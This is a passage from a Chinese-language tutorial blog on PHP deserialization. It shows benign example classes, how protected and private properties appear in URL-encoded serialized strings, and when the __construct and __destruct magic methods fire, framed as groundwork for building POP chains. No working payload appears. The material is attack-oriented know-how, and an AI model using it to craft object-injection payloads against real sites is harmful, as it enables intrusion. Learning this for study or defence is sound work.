style=\"color:#59873A;--shiki-dark:#80A665\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">private</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">age</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 19</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sex</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">man</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">Doing</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">age</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>当我们把父类的sex属性更改为protected之后在类外使用echo调用会出现如下报错：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Fatal error: Cannot access protected property Arach::$sex in D:\\phpstudy_pro\\WWW\\exercise.php on line 16</span></span></code></pre>\n<p>显示无法访问，原因是我们在类的外对Arach继承ZLARYY类的sex做了赋值，同理private属性更加严格</p>\n<p>但如果我们在子类的内部进行调用就不会报错了：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/protected.png\" class=\"\" title=\"protected\"></p>\n<p>那么不同的访问修饰符在序列化之后的字符串会不会有什么变化？</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ECH</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>以这串代码为例，输出的序列化字符串为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:6:\"ZLARYY\":3:&#123;s:6:\"xiexie\";i:2;s:11:\"*Chesmond\";s:5:\"L47yY\";s:13:\"ZLARYYArach\";b:1;&#125;</span></span></code></pre>\n<p>直接输出貌似还差了一点内容，我们对输出内容进行一下URL编码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O%3A6%3A%22ZLARYY%22%3A3%3A%7Bs%3A6%3A%22xiexie%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00Chesmond%22%3Bs%3A5%3A%22L47yY%22%3Bs%3A13%3A%22%00ZLARYY%00Arach%22%3Bb%3A1%3B%7D</span></span></code></pre>\n<p>值得注意的是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%00%2A%00Chesmond</span><span> //protected属性序列化字符串会在属性名前面加上%00*%00</span></span>\n<span class=\"line\"><span>%00ZLARYY%00Arach</span><span> //private属性序列化字符串格式为：%00类型名%00属性名</span></span></code></pre>\n<h2 id=\"魔术方法\"><a class=\"anchor\" href=\"#魔术方法\">#</a> 魔术方法：</h2>\n<p>PHP魔术方法<code>（Magic Methods）</code>是一组特殊的方法，它们在特定的情况下会被自动调用，用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾，例如: <code>__construct()</code>、<code>__toString()</code>等。</p>\n<p>魔术方法可以帮助我们实现一些特殊的行为，例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法，我们可以增强PHP对象的灵活性和功能性。</p>\n<p><strong>魔术方法是构造POP链的重点，尤其掌握各种魔术方法的触发时机</strong></p>\n<h3 id=\"__construct\"><a class=\"anchor\" href=\"#__construct\">#</a> __construct()：</h3>\n<p>类的构造函数，在类实例化对象时自动调用构造函数</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>通过这串代码执行的结果我们能直观地看到__construct方法在第几行触发</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/construct.png\" class=\"\" title=\"construct\"></p>\n<p>可见，__construct方法在对象生成时，也就是new的时候就触发了</p>\n<p>同时，如果我们给__construct带上一个参数，那么他也能实现赋值操作：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">2l47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E8%B5%8B%E5%80%BC.png\" class=\"\" title=\"赋值\"></p>\n<h3 id=\"__destruct\"><a class=\"anchor\" href=\"#__destruct\">#</a> __destruct()：</h3>\n<p>类的析构函数，在对象销毁之前自动调用析构函数，或者说脚本执行结束，unset时会调用</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//第一种：脚本执行结束</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span 